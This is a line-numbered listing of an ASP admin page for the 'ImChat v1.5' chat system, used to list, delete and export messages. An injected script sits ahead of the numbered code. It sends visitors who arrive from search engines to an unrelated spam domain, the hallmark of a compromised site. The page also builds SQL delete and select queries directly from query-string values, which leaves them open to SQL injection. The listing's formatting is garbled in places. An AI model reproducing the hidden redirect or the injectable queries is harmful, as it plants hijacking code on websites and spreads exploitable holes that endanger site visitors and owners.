d:\wwwroot\wuchunhua\liaotianim\system_manage\Msg_Manage.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
007:
'获取用户信息
008:
function GetUserInfo(Uid,FiledName)
009:
if Cint(Uid)<1 then GetUserInfo="所有人":exit function
010:
Dim URS,RE
011:
Set URS=Server.CreateObject( "ADODB.Recordset" )
012:
Set URS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_ID]="&Uid)
013:
if URS.recordcount>0 then
014:
GetUserInfo="<a href='EditUser.asp?UID="&UID&"'>"&Cstr(URS(FiledName))&"</a>"
015:
else
016:
GetUserInfo="已删除用户"
017:
end if
018:
end function
019:
020:
021:
Dim ConfigRS
022:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
023:
if request.QueryString("Method")="Del" then
024:
DB_CONN.EXECUTE("delete from [XK_Msg] where [Msg_ID]="&request.QueryString("Msg_ID"))
025:
RW "<script>location.href='Msg_Manage.asp';</script>":response.end()
026:
end if
027:
if request.QueryString("Method")="DelAll" then
028:
DB_CONN.EXECUTE("delete from [XK_Msg] where not ([Msg_ID]=1535)")
029:
RW "<script>location.href='Msg_Manage.asp';</script>":response.end()
030:
end if
031:
dim Swhere:Swhere=""
032:
if request.QueryString("t")="public" then Swhere=" where [Get_User_ID] <1 "
033:
if request.QueryString("t")="private" then Swhere=" where [Get_User_ID] >0 "
034:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Msg] "&Swhere&" order by [Msg_ID] desc")
035:
ConfigRS.pagesize=10
036:
if isempty(request("page")) or request("page")="" then curpage=1 else curpage=Cint(request("page")) end if
037:
if not ConfigRS.eof then ConfigRS.absolutepage = curpage
038:
%
>
039:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
040:
<html xmlns="http://www.w3.org/1999/xhtml">
041:
<head>
042:
<title>ImChat v1.5 Manage System</title>
043:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
044:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
045:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
046:
<style>
047:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
048:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
049:
</style>
050:
</head>
051:
<body>
052:
<div class="contentcontainer">
053:
<div class="headings alt">
054:
<h2>信息管理 <a href="Msg_Manage.asp" style="text-decoration:none;">所有信息</a> <a href="Msg_Manage.asp?t=public" style="text-decoration:none;">公共聊天</a> <a href="Msg_Manage.asp?t=private" style="text-decoration:none;">私聊</a> <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a> <a href="Msg_Manage.asp?Method=DelAll" onclick="return confirm('确定清空所有数据?');" style="text-decoration:none;">清空</a> <a href="Msg_ToExcel.asp" style="text-decoration:none;">导出Excel数据</a></h2>
055:
</div>
056:
<div class="contentbox">
057:
<table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
058:
<th colspan="10">信息列表</th>
059:
<tr>
060:
<td>发送人</td>
061:
<td>接受人</td>
062:
<td>内容</td>
063:
<td>发送时间</td>
064:
<td>操作</td>
065:
</tr>
066:
<script>
067:
function change(e,userid)
068:
{
069:
location.href="User_Manage.asp?Method=Power&User_ID="+userid+"&V="+e.value;
070:
}
071:
</script>
072:
<%
073:
dim iPage
074:
while (not ConfigRS.eof and iPage<ConfigRS.pagesize )
%
>
075:
<tr>
076:
<td> <a href="EditUser.asp?UID=
<%
=ConfigRS("Post_User_ID")
%
>">
<%
=GetUserInfo(ConfigRS("Post_User_ID"),"User_NickName")
%
></a></td>
077:
<td>
<%
=GetUserInfo(ConfigRS("Get_User_ID"),"User_NickName")
%
></td>
078:
<td> <textarea rows="1" cols="100">
<%
=vbsUnEscape(ConfigRS("Msg_Content"))
%
></textarea></td>
079:
<td>
<%
=ConfigRS("Msg_SendTime")
%
></td>
080:
<td> <a href="?Method=Del&Msg_ID=
<%
=ConfigRS("Msg_ID")
%
>">删除</a></td>
081:
</tr>
082:
<%
083:
ConfigRS.MoveNext
084:
iPage=iPage+1
085:
wend
086:
%
>
087:
<tr>
088:
<td colspan="10">
<%
=ExportPageInfo(ConfigRS,curpage,iPage,"Msg_Manage.asp?1=1"&replace(Request.QueryString,"page","1")&"&")
%
></td>
089:
</tr>
090:
</table>
091:
092:
</div>
093:
</div>
094:
</body>
095:
</html>
096:
097:
098: